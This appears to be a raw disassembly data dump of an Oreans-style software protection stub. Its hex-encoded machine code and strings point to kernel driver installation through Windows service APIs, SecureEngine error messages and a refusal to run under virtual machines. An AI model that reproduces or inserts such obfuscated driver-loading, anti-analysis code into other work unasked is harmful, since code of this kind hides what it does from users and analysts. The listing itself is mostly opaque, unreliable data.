0C3564600h, 863ECCD5h, 2915B93Ch, 6A036A65h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0E1A7C357h, 4E8h, 0 dd 0FFB966C0h, 0CC8A5028h, 424448Bh, 0FE9008Bh, 0DE000000h dd 908B1336h, 0F54234ACh, 1D48352Ah, 4489E9C5h, 890F0424h dd 0Dh, 0A6BF5250h, 0F28D79Ch, 5AF18B31h, 0BF665858h, 9D8D44A0h dd 64AA5D3h, 0D558589h, 0B1930648h, 63B2501Fh, 0E9B50393h dd 0FF06480Eh, 8E9D0h, 0E7C60000h, 7B1EEC61h, 0F40ED1Bh dd 20E85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0EBF114DEh, 0AA096F40h, 0BE820h dd 4200000h, 8D1E66E5h, 0CC306876h, 0CE98Bh, 0B5770000h dd 52DA5C65h, 632CE645h, 89593158h, 480709B5h, 0F565806h dd 68Dh, 818D2B00h, 5E06480Fh, 0CE950h, 55770000h, 0C4CB9080h dd 9F2F35EBh, 489BF9Ch, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0D6047B61h, 6AE026F4h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0F3C1F14Ah, 0BD33BEF7h, 6482B91h, 0E999501h dd 4E80648h, 80000000h, 0E9000000h, 7, 0DBCEF087h, 5039130Ch dd 8BF18B66h, 60042444h, 0F54DBA60h, 0BB666EA1h, 0BB618804h dd 3590870Bh, 0F008B61h, 380h, 0D78B6600h, 4244489h, 6058F88Bh dd 0BF0FC68Bh, 36A61C9h, 13659589h, 6A0648h, 1800Fh, 6AF80000h dd 0B8B0F03h, 0F000000h, 583h, 47BCB900h, 4E857F5h, 0 dd 8BC00000h, 448B50F7h, 6E90424h, 3F000000h, 327D2095h dd 66008BAAh, 89148FBEh, 0F042444h, 584h, 0A9B0BE00h, 60583C90h dd 10E9h, 0EF3FBB00h, 27A8528Fh, 0D85D2AEDh, 73C91CCAh dd 0F18D8B29h, 6106480Ch, 0A5DE9D8Dh, 9529064Ah, 6482785h dd 0F78B6650h, 0B1241C89h, 3D0FFCDh, 480EBDB5h, 850F4006h dd 6Fh, 8D958960h, 61064810h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0DB7AF828h dd 14E8h, 9D049800h, 0FD9CE5BAh, 5E0AD0E8h, 0B738FEA0h dd 49948C84h, 0B98589CAh, 5906482Ah, 113E9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 1CD5383Ch, 8BFC9BC2h, 9E9D8h, 46F80000h, 6C45C03Fh dd 503A92B0h, 2B41BD89h, 4B5E0648h, 0DB58958h, 0C6064818h dd 480FF985h, 0BD8B4306h, 6481791h, 0F1368768h, 8A52509Ah dd 5A310FEEh, 24348158h, 5A877C20h, 0D5B5FFF8h, 8B06480Eh dd 0BA858DD6h, 0E8064838h, 12h, 479CC7FFh, 5F1FFFA5h, 696F2017h dd 0C664AE37h, 8166E092h, 5AF1E5C1h, 0FFF3BF0Fh, 8B6693D0h dd 0BF6650F2h, 0B99368CEh, 0B1A30D1h, 2A5D8D8Bh, 0D0FF0648h dd 70BDB966h, 72869D8Dh, 8D330648h, 64812F1h, 1B8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0A78241D1h, 0C3CE6814h, 0F3BF0FE7h, 0F1C591BAh, 6AE3FF43h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0B5A9C355h, 6E467967h, 0F87434EEh, 0FAB2C18Bh dd 3211B58Bh, 0C08B0648h, 83CA8B66h, 481299BDh, 9750006h dd 0D35BD83h, 74000648h, 8B535019h, 40FB8C0h, 85890000h dd 6482FF9h, 0A4CB9D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h dd 50177400h, 40FB853h, 85890000h, 6482FF9h, 0A16C9D8Dh dd 0D3FF064Ah, 9E8585Bh, 28000000h, 0F435DF7h, 0D5F3FF29h dd 8CF6E281h, 8B5E7A16h, 6E8C0h, 0D50A0000h, 4BF756F6h dd 1785B589h, 0F5B0648h, 68Fh, 2DB52B00h, 81064807h, 60F1C3h dd 0EF816600h, 0B8232Fh, 80000000h, 34FF91CDh, 0FB8B6618h dd 81EE8A5Ah, 0C452CFF2h, 218D8B7Dh, 8106481Ah, 41480EC2h dd 4800F0Fh, 66000000h, 816A77B9h, 751F2F2h, 0F08B5213h dd 8903048Fh, 4805898Dh, 18D8B06h, 83064816h, 12E904E8h dd 0CF000000h, 4390C8A9h, 68DFEC50h, 0AC8EA3D3h, 270AAB9Ah dd 9CF881FFh, 0FFFFF9Fh, 0FFFF9D85h, 0E9CB8BFFh, 99h, 6775622Fh dd 63656863h, 2F00326Bh, 63677562h, 6B636568h, 6F662F00h dd 72656372h, 2F006E75h, 63677562h, 6B636568h, 6C6C7566h dd 68732F00h, 6F63776Fh, 2F006564h, 776F6873h, 65646F63h dd 632F0032h, 74726Ch, 7369642Fh, 732F0031h, 69776F68h dd 6174736Eh, 65636Eh, 7465672Fh, 74736C77h, 73757461h dd 6F6C2F00h, 61747367h, 737574h, 6D75642Fh, 61747370h dd 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 dd 0F7BD8300h, 64AADh, 0A840Fh, 85C70000h, 6480D35h, 1 dd 0FF985C6h, 68470648h, 372AADABh, 0E2240481h, 0FF5942BEh dd 480ED5B5h, 0BA858D06h, 0FF064838h, 8BD0FFD0h, 223F80F8h dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h dd 31B84h, 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h dd 30384h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h dd 3F80FFFFh, 5850F00h, 0E9000000h, 2E0h, 1E9h, 3F804700h dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C3E9h, 0AE800h dd 0CBE90000h, 0E9FFFFFFh, 2B4h, 0AD77B58Dh, 25E8064Ah dd 3000002h, 4AAE0CBDh, 0CBD8306h, 64AAEh, 0B840Fh, 85C70000h dd 6481299h, 1, 82B58DC3h, 0E8064AADh, 1FCh, 0AE0CBD03h dd 0BD83064Ah, 64AAE0Ch, 0B840F00h, 0C7000000h, 480D3585h dd 106h, 0B58DC300h, 64AADFBh, 1D3E8h, 0CBD0300h, 83064AAEh dd 4AAE0CBDh, 840F0006h, 0Bh, 2A0585C7h, 10648h, 8DC30000h dd 4AAD8CB5h, 1AAE806h, 0BD030000h, 64AAE0Ch, 0AE0CBD83h dd 0F00064Ah, 0B84h, 3585C700h, 106480Dh, 0C3000000h, 0AD96B58Dh dd 81E8064Ah, 3000001h, 4AAE0CBDh, 0CBD8306h, 64AAEh, 15840Fh dd 85C70000h, 6480D35h, 1, 129985C7h, 10648h, 8DC30000h dd 4AADA4B5h, 14EE806h, 0BD030000h, 64AAE0Ch, 0AE0CBD83h dd 0F00064Ah, 0A84h, 0C185C700h, 1064815h, 8D000000h, 4AADAEB5h dd 126E806h, 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah dd 0A84h, 0C185C700h, 1064815h, 8D000000h, 4AADB9B5h, 0FEE806h dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah, 0A84h dd 2985C700h, 1064804h, 8D000000h, 4AADBFB5h, 0D6E806h dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah, 0A84h dd 0B185C700h, 1064816h, 8D000000h, 4AADC5B5h, 0AEE806h dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah, 0A84h dd 0A185C700h, 106480Ah, 8D000000h, 4AADD3B5h, 86E806h dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah, 0A84h dd 5985C700h, 106481Ch, 8D000000h, 4AADE0B5h, 5EE806h dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah, 0A84h dd 6D85C700h, 106480Dh, 8D000000h, 4AADEBB5h, 36E806h dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah, 0A84h dd 7185C700h, 1064829h, 0E9000000h, 1, 203F8047h, 9840Fh dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h dd 1CE9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 5840Fh dd 0B90000h, 46000000h, 3E8047h, 8840Fh, 0C90B0000h, 0FFD3850Fh dd 0C90BFFFFh, 21840Fh, 3F800000h, 9840F00h, 80000000h dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h dd 2B000000h, 0CB589F3h, 0E9064AAEh, 0Ah, 0AE0C85C7h, 64Ah dd 0C3610000h, 0EE9C88Bh, 33000002h, 6E6E6143h, 7720746Fh dd 65746972h, 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh dd 75732065h, 74206572h, 20746168h, 73696874h, 6C696620h dd 73692065h, 746F6E20h, 69656220h, 7520676Eh, 20646573h dd 61207962h, 68746F6Eh, 70207265h, 72676F72h, 2E6D61h dd 67h dup(0) dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 0EFE900h, 85C60000h, 6480FF9h, 5B866847h, 0B5FFE3E4h dd 6480ED5h, 38BA858Dh, 0D0FF0648h, 10468h, 8D9D8D00h dd 53064818h, 8D50D0FFh, 4AB382B5h, 32FE8B06h, 850FAEC0h dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 480FF985h dd 0FC684306h, 0FFBC8E6Eh, 480ED5B5h, 0BA858D06h, 0FF064838h dd 8DB58DD0h, 6A064818h, 806800h, 26A0000h, 6A006Ah, 68h dd 0D0FF56C0h, 85C6D88Bh, 6480FF9h, 0EE566857h, 0B5FFA69Bh dd 6480ED5h, 38BA858Dh, 0D0FF0648h, 0BBDBD8Dh, 8D8D0648h dd 64AB4A8h, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh dd 0B18AB58Dh, 858D064Ah, 64A9DC7h, 8D8DD0FFh, 6487286h dd 0B8h, 0C6E1FF00h, 480FF985h, 0A7684306h, 0FFC0764Ah dd 480ED5B5h, 0BA858D06h, 0FF064838h, 0D0FF53D0h, 37D0B9C3h dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0 dd offset dword_450050+4BB0h dd 0 dd 4000200h, 0 dd 3800000h, 1400h, 4 dup(0) dd 20000h, 1C000h, 9000h, 0 dd 7E00h, 0 dd 0C400h, 100h, 0DC00h, 3 dup(0) dd 12C00h, 13800h, 2 dup(0) dd 14200h, 19600h, 1D200h, 0 dd 1D200h, 0 dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0) dd 27C004h, 0 dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h dd 300h, 0 dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h dd 16B0007h, 277101h, 360h dup(0) dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0) dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h dd 9C3h dup(0) dd 1BE88300h, 7309F883h, 8524FF07h, 0 dd 0C3F8h, 8 dup(0) dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10A9E900h, 44410000h dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0) aOreans32_sys db 'oreans32.sys',0 align 4 dd 0 dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 4 dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah dd 21h dup(0) dd 8B000000h, 8921B5C4h, 480A3185h, 0BFBF6606h, 89C08B9Bh dd 48270D85h, 3ABF6606h, 99BD83AAh, 64812h, 0BD830975h dd 6480D35h, 50197400h, 0B8C08B53h, 43Dh, 29B98589h, 9D8D0648h dd 64AA464h, 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h dd 43Dh, 29B98589h, 9D8D0648h, 64AA153h, 585BD3FFh, 9DBD0B50h dd 5A064832h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 71C35646h, 0C458589h, 81660648h, 8BD4C1EFh, 6860FC0h dd 23000000h, 480C2595h, 0B9C08B06h, 0AFDEFE2h, 1299BD83h dd 75000648h, 35BD8309h, 6480Dh, 53501374h, 0B8C08Bh, 8D000000h dd 4AA3069Dh, 5BD3FF06h, 35BD8358h, 6480Dh, 53501174h dd 0B8h, 0B79D8D00h, 0FF064AA1h, 60585BD3h, 1611858Bh dd 0BD890648h, 6483279h, 719D0161h, 8B064827h, 558D33C0h dd 8B064814h, 118509C0h, 2B06480Ch, 480AD58Dh, 99BD8306h dd 64812h, 0BD830975h, 6480D35h, 50137400h, 0B8C08B53h dd 0 dd 0A2389D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50117400h dd 0B853h, 9D8D0000h, 64AA185h, 585BD3FFh, 5870Fh, 81660000h dd 0F821FE1h, 158Fh, 0B5896000h, 6480C1Dh, 7E8h, 97264500h dd 0DCD765FEh, 0C08B615Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0C5C35242h, 0EF22E261h, 0B75B66C8h, 14E951h dd 74890000h, 0C2988D60h, 9DDCEC3Fh, 96298442h, 283A045Fh dd 0C08B9F0Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0FBC35545h, 0E15A6A33h, 1299BD83h, 75000648h, 35BD8309h dd 6480Dh, 53501374h, 0B8C08Bh, 8D000000h, 4AA29F9Dh, 5BD3FF06h dd 35BD8358h, 6480Dh, 53501174h, 0B8h, 9E9D8D00h, 0FF064AA1h dd 52585BD3h, 0B030BA66h, 0DE959h, 60D60000h, 0D6403CDFh dd 2F53D318h, 0E92FFD8Dh, 14h, 0F1963367h, 41FBD675h, 0F0D5B404h dd 628F7FECh, 0E90A2D41h, 8166C08Bh, 8B5FC5E2h, 0F1BD8BC0h dd 6606482Eh, 0BD83FB8Bh, 6481299h, 83097500h, 480D35BDh dd 13740006h, 0C08B5350h, 0B8h, 0D19D8D00h, 0FF064AA1h dd 66585BD3h, 6685E4B9h, 0BFABD981h, 0BA66C08Bh, 0C08B0662h dd 23A5BD8Bh, 0BD830648h, 6481299h, 83097500h, 480D35BDh dd 19740006h, 0C08B5350h, 7D0B8h, 0B9858900h, 8D064829h dd 4AA4649Dh, 5BD3FF06h, 35BD8358h, 6480Dh, 53501774h dd 7D0B8h, 0B9858900h, 8D064829h, 4AA1539Dh, 5BD3FF06h dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 3CF64B81h, 91D6DF81h, 3CB25E16h, 9529C08Bh dd 64827BDh, 0FF985C6h, 6A530648h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 1145C350h dd 59CAAF63h, 9068E17Eh, 6699395Fh, 0FE9CF8Bh, 3D000000h dd 35B4A45Bh, 9B1780B2h, 0D5F50F3Fh, 0B5FF3E57h, 6480ED5h dd 0D05BD8Bh, 9D290648h, 648275Dh, 38BA858Dh, 0FA8B0648h dd 9D31D0FFh, 64815D9h, 0E718589h, 0FE90648h, 0C6000000h dd 13FF8928h, 451F85A2h, 0BDD9F921h, 85C6246Ah, 6480FF9h dd 0D1816657h, 78B6E5B9h, 4520668h, 0FFE88A90h, 480ED5B5h dd 0BE906h, 0B8910000h, 751DB882h, 4A15908Ah, 0BA858D19h dd 8B064838h, 480871BDh, 66D0FF06h, 7002C281h, 10D98589h dd 85C60648h, 6480FF9h, 2820F43h, 8B000000h, 702868CAh dd 6ABC90h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 204320C3h, 4992795Bh, 26CA8108h, 0FF65BDA1h dd 480ED5B5h, 0EDB58906h, 0E906481Ah, 7, 0B773AF22h, 8DEA93D9h dd 4838BA85h, 11E906h, 71ED0000h, 830A3F30h, 66C00A6Ah dd 5F5BFC3h, 0FFF651A7h, 0BF0FF8D0h, 0E98589FFh, 89064812h dd 480E0D9Dh, 0F985C606h, 4C06480Fh, 68A0Fh, 9D890000h dd 648331Dh, 0DA1CE968h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0BD73A3Dh, 93237C17h dd 0ED5B5FFh, 0B5010648h, 648021Dh, 38BA858Dh, 0CF8B0648h dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0B2BC50C3h, 295AD161h, 4805F9BDh, 0ED858906h dd 1064819h, 4809399Dh, 0F985C606h, 4606480Fh, 11E9h, 4DC07700h dd 6C08BFE0h, 8F7A8425h, 5F520437h, 146869A0h, 80BADE06h dd 0B5FF9CE9h, 6480ED5h, 16F99509h, 8DF50648h, 4838BA85h dd 12E96006h, 5F000000h, 13626145h, 7B52A837h, 8646E1DFh dd 727BC774h, 0FF61F90Fh, 0CBBF0FD0h, 28898589h, 3CBF0648h dd 8B4689C0h, 4821D995h, 0F985C606h, 4706480Fh, 30DDBD8Bh dd 0E2680648h, 6A8A0FB5h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 66C4C350h, 0FFCB8A1Fh dd 480ED5B5h, 0CA8A5206h, 0BA858D5Fh, 8B064838h, 482FE195h dd 89D0FF06h, 482B2985h, 1D858906h, 31064809h, 4830F5BDh dd 0F985C606h, 4706480Fh, 8E9h, 0BE668500h, 0B8B5C0CFh dd 0B5F36866h, 0D28183D0h, 60C2CC5Fh, 0ED5B5FFh, 870F0648h dd 0 dd 38BA858Dh, 810F0648h, 6, 3D9B529h, 0D0FF0648h, 68F0Fh dd 0BD890000h, 6480B9Dh, 32A58589h, 8B660648h, 0F985C6D6h dd 7706480Fh, 5263B966h, 97A8A368h, 53006AF3h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 4870FCCh, 66000000h dd 0FF72B1B9h, 482F2DB5h, 0EDBD2B06h, 8D064812h, 4838BA85h dd 21BD8B06h, 0FF064807h, 50006AD0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 195297Ch, 89064823h dd 48286185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 8D508A35h, 3880F08h, 0F000000h, 85C6D3BFh dd 6480FF9h, 0E7C18147h, 687D323Dh, 8728FAF6h, 3FF28166h dd 0C28166D9h, 0B5FF40BAh, 6480ED5h, 6E9h, 0D42C7100h dd 8DF09600h, 4838BA85h, 69B50906h, 0FF064815h, 6820FD0h dd 89000000h, 4814958Dh, 0F5858906h, 0E9064823h, 14h, 197B8484h dd 0FB9FA494h, 7CE9F098h, 1A20FC8Dh, 52C3088h, 0FF985C6h dd 81430648h, 68DF97C1h, 6EFC684Eh, 9D89BC8Eh, 6483211h dd 0ED5B5FFh, 8B660648h, 0BA858DCBh, 8B064838h, 480CB18Dh dd 66D0FF06h, 892B69BAh, 481BE985h, 0E5958906h, 0C6064816h dd 480FF985h, 6A4506h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 53849CC3h, 0A573854Eh, 9D293693h dd 6480D21h, 7E9h, 0D9FF8F00h, 0D8012E4Bh, 72696968h, 55006A8Eh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8B66181Eh, 0D5B5FFCBh, 6A06480Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0CB6AC351h dd 0E9CCEE76h, 0ADBD89B0h, 8D06482Ah, 4838BA85h, 7CB65606h dd 53D0FF5Fh, 658D8B60h, 2906480Eh, 4829798Dh, 89596106h dd 481AD985h, 14E906h, 6C080000h, 8F7A8425h, 5F520437h dd 57269A0h, 657EF57Eh, 85C60E57h, 6480FF9h, 35BD2344h dd 6806480Fh, 0B8F2EC64h, 0D5B5FFF5h, 5706480Eh, 5FD18B66h dd 1741B531h, 858D0648h, 64838BAh, 2A899589h, 0FFFC0648h dd 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 1E73E806h, 134C6230h, 14E879h, 0AAA30000h dd 0A0637402h, 8D71404Dh, 4D0CDD1Fh, 75EB8474h, 0BA667588h dd 8B5ADE60h, 4831B5BDh, 0ED858906h, 81064805h, 6C8B65EFh dd 7E95702h, 0A2000000h, 198926Eh, 0C65982E2h, 480FF985h dd 0BD014306h, 6480DF1h, 764AA768h, 0D58D89C0h, 0FF06481Ah dd 480ED5B5h, 66F98B06h, 858DC88Bh, 64838BAh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 62C35040h, 9C23B7EDh dd 0E9D6ADC3h, 11h, 0C6B49F57h, 0F50AA1E2h, 88CEDF62h dd 97041AE4h, 66D0FFBCh, 890B0FBAh, 48177D85h, 80D38A06h dd 4AF86BBDh, 840F0006h, 159h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0ECC35545h, 858D3653h, 64AF84Dh dd 0FB8B6660h, 0F6150B5h, 8B50FEBFh, 4815F9BDh, 6A016A06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0DB93C350h, 0DC9DDE13h, 2B41EDDCh, 4814218Dh dd 9870F06h, 60000000h, 6ED98166h, 61F6B495h, 6A006Ah dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 42C35242h dd 0C195315Eh, 0BF06480Dh, 765272F6h, 2FF5BD89h, 95FF0648h dd 64812E9h, 2AE58D89h, 11E90648h, 2E000000h, 42BB70BCh dd 0C8811C02h, 36F9AF8h, 0BAF9F008h, 2B5D8589h, 958B0648h dd 6480D59h, 297D8D8Bh, 0FF6A0648h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0C9C35646h, 891E9D40h, 4827518Dh dd 0CDBD8B06h, 0FF064819h, 482B5DB5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0AC23473Ah, 32F1BD8Bh, 95FF0648h, 64810D9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 4CC35747h, 8EFBE533h dd 14CF8166h, 0FC08B00h, 0A8Fh, 48E0F00h, 66000000h, 83FD37BAh dd 481299BDh, 9750006h, 0D35BD83h, 74000648h, 8B535019h dd 7D1B8C0h, 85890000h, 64829B9h, 0A4649D8Dh, 0D3FF064Ah dd 0BD83585Bh, 6480D35h, 50177400h, 7D1B853h, 85890000h dd 64829B9h, 0A1539D8Dh, 0D3FF064Ah, 9D89585Bh, 64814F5h dd 18299D09h, 0C08B0648h, 32C1958Bh, 85C60648h, 6480FF9h dd 50006A47h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0B9970C1Fh, 1CB01C39h, 0C8F7C168h, 1D30B993h dd 0B5FF46E1h, 6480ED5h, 8DA8166h, 0BA858D30h, 0E8064838h dd 0Ch, 0C2D9B9Dh, 17167FBDh, 296725A1h, 0D0FF5AFCh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 83C35040h, 6A50B144h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 24DC351h, 0B816666Dh, 8E858DD1h, 0C7064AFCh dd 9400h, 51006A00h, 3E8h, 0C3592000h, 